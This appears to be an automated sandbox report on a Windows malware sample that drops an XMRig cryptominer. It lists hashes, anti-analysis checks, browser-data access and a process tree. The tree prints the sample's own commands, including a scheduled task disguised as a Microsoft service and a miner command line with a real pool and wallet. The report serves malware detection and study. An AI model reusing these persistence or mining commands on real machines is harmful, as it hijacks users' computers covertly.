Analysis
-
max time kernel
149s -
max time network
141s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
23-02-2021 08:00
Static task
static1
Behavioral task
behavioral1
Sample
a5d3fdf55abb54ec0b632dee9d3459d4.exe
Resource
win7v20201028
General
-
Target
a5d3fdf55abb54ec0b632dee9d3459d4.exe
-
Size
2.5MB
-
MD5
a5d3fdf55abb54ec0b632dee9d3459d4
-
SHA1
c177421eb77f0d341e5d1bd6cfbccb60e0c86a1c
-
SHA256
677618666eb31c80e9dbecb17907676d2da2a39d24f7c20785ef577239ef5e6f
-
SHA512
4faafc484d66545a3355ba4d76da6dd021b556a06ec5b15fa8b4b8a4f1161b44ffad5e654991cf658fc6bd49b458e59586155dfdf339e1150b278ff5b9a41324
Malware Config
Signatures
-
Detected Stratum cryptominer command
Looks to be attempting to contact Stratum mining pool.
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
XMRig Miner Payload 1 IoCs
Processes:
resource yara_rule behavioral2/memory/3904-37-0x00007FF6A5550000-0x00007FF6A6708000-memory.dmp xmrig -
Executes dropped EXE 4 IoCs
Processes:
3lejv13j.exe4vuhzffi.execpu.exeRantimeBroker.exepid process 2720 3lejv13j.exe 1532 4vuhzffi.exe 3904 cpu.exe 2560 RantimeBroker.exe -
Checks BIOS information in registry 2 TTPs 8 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
4vuhzffi.exeRantimeBroker.exea5d3fdf55abb54ec0b632dee9d3459d4.exe3lejv13j.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 4vuhzffi.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion RantimeBroker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion RantimeBroker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion a5d3fdf55abb54ec0b632dee9d3459d4.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion a5d3fdf55abb54ec0b632dee9d3459d4.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 3lejv13j.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 3lejv13j.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 4vuhzffi.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Processes:
resource yara_rule behavioral2/memory/3116-5-0x0000000000D60000-0x0000000000D61000-memory.dmp themida C:\Users\Admin\AppData\Local\3lejv13j.exe themida behavioral2/memory/2720-12-0x0000000000E90000-0x0000000000E91000-memory.dmp themida C:\Users\Admin\AppData\Local\4vuhzffi.exe themida C:\Users\Admin\AppData\Local\4vuhzffi.exe themida behavioral2/memory/1532-24-0x0000000001010000-0x0000000001011000-memory.dmp themida C:\Users\Admin\AppData\Roaming\Windows\RantimeBroker.exe themida C:\Users\Admin\AppData\Roaming\Windows\RantimeBroker.exe themida behavioral2/memory/2560-52-0x0000000001000000-0x0000000001001000-memory.dmp themida -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Processes:
a5d3fdf55abb54ec0b632dee9d3459d4.exe3lejv13j.exe4vuhzffi.exeRantimeBroker.exedescription ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA a5d3fdf55abb54ec0b632dee9d3459d4.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 3lejv13j.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 4vuhzffi.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA RantimeBroker.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs
Processes:
a5d3fdf55abb54ec0b632dee9d3459d4.exe3lejv13j.exe4vuhzffi.exeRantimeBroker.exepid process 3116 a5d3fdf55abb54ec0b632dee9d3459d4.exe 2720 3lejv13j.exe 1532 4vuhzffi.exe 2560 RantimeBroker.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
4vuhzffi.exepid process 1532 4vuhzffi.exe 1532 4vuhzffi.exe 1532 4vuhzffi.exe 1532 4vuhzffi.exe 1532 4vuhzffi.exe 1532 4vuhzffi.exe 1532 4vuhzffi.exe 1532 4vuhzffi.exe 1532 4vuhzffi.exe 1532 4vuhzffi.exe 1532 4vuhzffi.exe 1532 4vuhzffi.exe 1532 4vuhzffi.exe 1532 4vuhzffi.exe 1532 4vuhzffi.exe 1532 4vuhzffi.exe 1532 4vuhzffi.exe 1532 4vuhzffi.exe 1532 4vuhzffi.exe 1532 4vuhzffi.exe 1532 4vuhzffi.exe 1532 4vuhzffi.exe 1532 4vuhzffi.exe 1532 4vuhzffi.exe 1532 4vuhzffi.exe 1532 4vuhzffi.exe 1532 4vuhzffi.exe 1532 4vuhzffi.exe 1532 4vuhzffi.exe 1532 4vuhzffi.exe 1532 4vuhzffi.exe 1532 4vuhzffi.exe 1532 4vuhzffi.exe 1532 4vuhzffi.exe 1532 4vuhzffi.exe 1532 4vuhzffi.exe 1532 4vuhzffi.exe 1532 4vuhzffi.exe 1532 4vuhzffi.exe 1532 4vuhzffi.exe 1532 4vuhzffi.exe 1532 4vuhzffi.exe 1532 4vuhzffi.exe 1532 4vuhzffi.exe 1532 4vuhzffi.exe 1532 4vuhzffi.exe 1532 4vuhzffi.exe 1532 4vuhzffi.exe 1532 4vuhzffi.exe 1532 4vuhzffi.exe 1532 4vuhzffi.exe 1532 4vuhzffi.exe 1532 4vuhzffi.exe 1532 4vuhzffi.exe 1532 4vuhzffi.exe 1532 4vuhzffi.exe 1532 4vuhzffi.exe 1532 4vuhzffi.exe 1532 4vuhzffi.exe 1532 4vuhzffi.exe 1532 4vuhzffi.exe 1532 4vuhzffi.exe 1532 4vuhzffi.exe 1532 4vuhzffi.exe -
Suspicious use of AdjustPrivilegeToken 6 IoCs
Processes:
a5d3fdf55abb54ec0b632dee9d3459d4.exe4vuhzffi.execpu.exe3lejv13j.exeRantimeBroker.exedescription pid process Token: SeDebugPrivilege 3116 a5d3fdf55abb54ec0b632dee9d3459d4.exe Token: SeDebugPrivilege 1532 4vuhzffi.exe Token: SeLockMemoryPrivilege 3904 cpu.exe Token: SeLockMemoryPrivilege 3904 cpu.exe Token: SeDebugPrivilege 2720 3lejv13j.exe Token: SeDebugPrivilege 2560 RantimeBroker.exe -
Suspicious use of WriteProcessMemory 11 IoCs
Processes:
a5d3fdf55abb54ec0b632dee9d3459d4.exe4vuhzffi.exedescription pid process target process PID 3116 wrote to memory of 2720 3116 a5d3fdf55abb54ec0b632dee9d3459d4.exe 3lejv13j.exe PID 3116 wrote to memory of 2720 3116 a5d3fdf55abb54ec0b632dee9d3459d4.exe 3lejv13j.exe PID 3116 wrote to memory of 2720 3116 a5d3fdf55abb54ec0b632dee9d3459d4.exe 3lejv13j.exe PID 3116 wrote to memory of 1532 3116 a5d3fdf55abb54ec0b632dee9d3459d4.exe 4vuhzffi.exe PID 3116 wrote to memory of 1532 3116 a5d3fdf55abb54ec0b632dee9d3459d4.exe 4vuhzffi.exe PID 3116 wrote to memory of 1532 3116 a5d3fdf55abb54ec0b632dee9d3459d4.exe 4vuhzffi.exe PID 1532 wrote to memory of 1624 1532 4vuhzffi.exe schtasks.exe PID 1532 wrote to memory of 1624 1532 4vuhzffi.exe schtasks.exe PID 1532 wrote to memory of 1624 1532 4vuhzffi.exe schtasks.exe PID 1532 wrote to memory of 3904 1532 4vuhzffi.exe cpu.exe PID 1532 wrote to memory of 3904 1532 4vuhzffi.exe cpu.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\a5d3fdf55abb54ec0b632dee9d3459d4.exe"C:\Users\Admin\AppData\Local\Temp\a5d3fdf55abb54ec0b632dee9d3459d4.exe"1⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\3lejv13j.exe"C:\Users\Admin\AppData\Local\3lejv13j.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\4vuhzffi.exe"C:\Users\Admin\AppData\Local\4vuhzffi.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 1 /tn "Windows Service © Microsoft Corporation" /tr "C:\Users\Admin\AppData\Roaming\Windows\RantimeBroker.exe" /f3⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Roaming\Windows\CPU\cpu.exe"C:\Users\Admin\AppData\Roaming\Windows\CPU\cpu.exe" -o stratum+tcp://pool.minexmr.com:4444 --algo cn/r -u 42ZYH6myZTcdLqfmCpSCggN8ppdku4PK16kH8UFFyTesddFwT5ihd2QFsWS2BGnuwXWfnrtbJbr5w7dqgeBRZDJcUzia53j./ --donate-level=13⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\Windows\RantimeBroker.exeC:\Users\Admin\AppData\Roaming\Windows\RantimeBroker.exe1⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\3lejv13j.exeMD5
70dca411445d3b4394d9c467bf3ff994
SHA183f9120b2b184eb991d1dcbf4bb13d5f2f4a6097
SHA2561d1f06c0d0965296755770b3f6a70a90e0d21a57ef5e47f9a26fcc4008ad45ef
SHA5124a2f84a8fb4bb0eba8402eb417cadb8bcef6ac309ee4918a698cab756ea888ff076545e1ed02f85f5705fe15f7eb7ec01b68c3bc98f74b4e13f5b8e4f0184cd6
-
C:\Users\Admin\AppData\Local\4vuhzffi.exeMD5
f0ecefed65b00699cc2b57bf81492f56
SHA14e0fbc13af6c373c9944a53a40965517b619c274
SHA25683f953427624eaba72e6d34339b4004c3614657bfe9fb601eca7e76410b71325
SHA51283bfdd06bf7e3497d6d0ec1686ede07d11003057919cdb74b3224e1deeb6dfa9259a83344c419ca0b2dec4cd42292c6047d842eeb09cf3459d6ac6c21130533f
-
C:\Users\Admin\AppData\Local\4vuhzffi.exeMD5
f0ecefed65b00699cc2b57bf81492f56
SHA14e0fbc13af6c373c9944a53a40965517b619c274
SHA25683f953427624eaba72e6d34339b4004c3614657bfe9fb601eca7e76410b71325
SHA51283bfdd06bf7e3497d6d0ec1686ede07d11003057919cdb74b3224e1deeb6dfa9259a83344c419ca0b2dec4cd42292c6047d842eeb09cf3459d6ac6c21130533f
-
C:\Users\Admin\AppData\Roaming\Windows\CPU\cpu.exeMD5
e95f766a3748042efbf0f05d823f82b7
SHA1fa4a29f9b95f4491e07eba54a677d52d8d061a19
SHA2561aef2fba4058ad80e4ae16dce0d2609e9f946ba9a4f2203891a26a92b3f6578c
SHA512e4d61199b57ae189c2bef7adc661224cfb00e9d6b3526c07624911238aad2d81d9548b52db1c6dbbf4a0e3f766d57080d2414ca836e037f0bb39728d1f1af55c
-
C:\Users\Admin\AppData\Roaming\Windows\RantimeBroker.exeMD5
f0ecefed65b00699cc2b57bf81492f56
SHA14e0fbc13af6c373c9944a53a40965517b619c274
SHA25683f953427624eaba72e6d34339b4004c3614657bfe9fb601eca7e76410b71325
SHA51283bfdd06bf7e3497d6d0ec1686ede07d11003057919cdb74b3224e1deeb6dfa9259a83344c419ca0b2dec4cd42292c6047d842eeb09cf3459d6ac6c21130533f
-
C:\Users\Admin\AppData\Roaming\Windows\RantimeBroker.exeMD5
f0ecefed65b00699cc2b57bf81492f56
SHA14e0fbc13af6c373c9944a53a40965517b619c274
SHA25683f953427624eaba72e6d34339b4004c3614657bfe9fb601eca7e76410b71325
SHA51283bfdd06bf7e3497d6d0ec1686ede07d11003057919cdb74b3224e1deeb6dfa9259a83344c419ca0b2dec4cd42292c6047d842eeb09cf3459d6ac6c21130533f
-
memory/1532-30-0x00000000052E0000-0x00000000052E1000-memory.dmpFilesize
4KB
-
memory/1532-24-0x0000000001010000-0x0000000001011000-memory.dmpFilesize
4KB
-
memory/1532-16-0x0000000000000000-mapping.dmp
-
memory/1532-31-0x0000000005440000-0x0000000005441000-memory.dmpFilesize
4KB
-
memory/1532-22-0x0000000073840000-0x0000000073F2E000-memory.dmpFilesize
6.9MB
-
memory/1624-28-0x0000000000000000-mapping.dmp
-
memory/2560-54-0x00000000055D0000-0x00000000055D1000-memory.dmpFilesize
4KB
-
memory/2560-52-0x0000000001000000-0x0000000001001000-memory.dmpFilesize
4KB
-
memory/2560-51-0x0000000073840000-0x0000000073F2E000-memory.dmpFilesize
6.9MB
-
memory/2720-33-0x0000000005900000-0x0000000005901000-memory.dmpFilesize
4KB
-
memory/2720-45-0x0000000008740000-0x0000000008741000-memory.dmpFilesize
4KB
-
memory/2720-27-0x0000000005600000-0x0000000005601000-memory.dmpFilesize
4KB
-
memory/2720-21-0x00000000055B0000-0x00000000055B1000-memory.dmpFilesize
4KB
-
memory/2720-29-0x0000000005660000-0x0000000005661000-memory.dmpFilesize
4KB
-
memory/2720-15-0x00000000054A0000-0x00000000054A1000-memory.dmpFilesize
4KB
-
memory/2720-19-0x0000000005460000-0x0000000005461000-memory.dmpFilesize
4KB
-
memory/2720-32-0x00000000056A0000-0x00000000056A1000-memory.dmpFilesize
4KB
-
memory/2720-12-0x0000000000E90000-0x0000000000E91000-memory.dmpFilesize
4KB
-
memory/2720-11-0x0000000073840000-0x0000000073F2E000-memory.dmpFilesize
6.9MB
-
memory/2720-8-0x0000000000000000-mapping.dmp
-
memory/2720-26-0x0000000005BD0000-0x0000000005BD1000-memory.dmpFilesize
4KB
-
memory/2720-42-0x0000000007A20000-0x0000000007A21000-memory.dmpFilesize
4KB
-
memory/2720-41-0x0000000006AC0000-0x0000000006AC1000-memory.dmpFilesize
4KB
-
memory/2720-39-0x00000000068F0000-0x00000000068F1000-memory.dmpFilesize
4KB
-
memory/2720-40-0x0000000006FF0000-0x0000000006FF1000-memory.dmpFilesize
4KB
-
memory/3116-5-0x0000000000D60000-0x0000000000D61000-memory.dmpFilesize
4KB
-
memory/3116-4-0x0000000073840000-0x0000000073F2E000-memory.dmpFilesize
6.9MB
-
memory/3116-7-0x00000000054B0000-0x00000000054B1000-memory.dmpFilesize
4KB
-
memory/3116-3-0x0000000077674000-0x0000000077675000-memory.dmpFilesize
4KB
-
memory/3904-38-0x0000022B32B40000-0x0000022B32B60000-memory.dmpFilesize
128KB
-
memory/3904-37-0x00007FF6A5550000-0x00007FF6A6708000-memory.dmpFilesize
17.7MB
-
memory/3904-36-0x0000022B32B10000-0x0000022B32B24000-memory.dmpFilesize
80KB
-
memory/3904-47-0x0000022B34400000-0x0000022B34420000-memory.dmpFilesize
128KB
-
memory/3904-48-0x0000022B34420000-0x0000022B34440000-memory.dmpFilesize
128KB
-
memory/3904-34-0x0000000000000000-mapping.dmp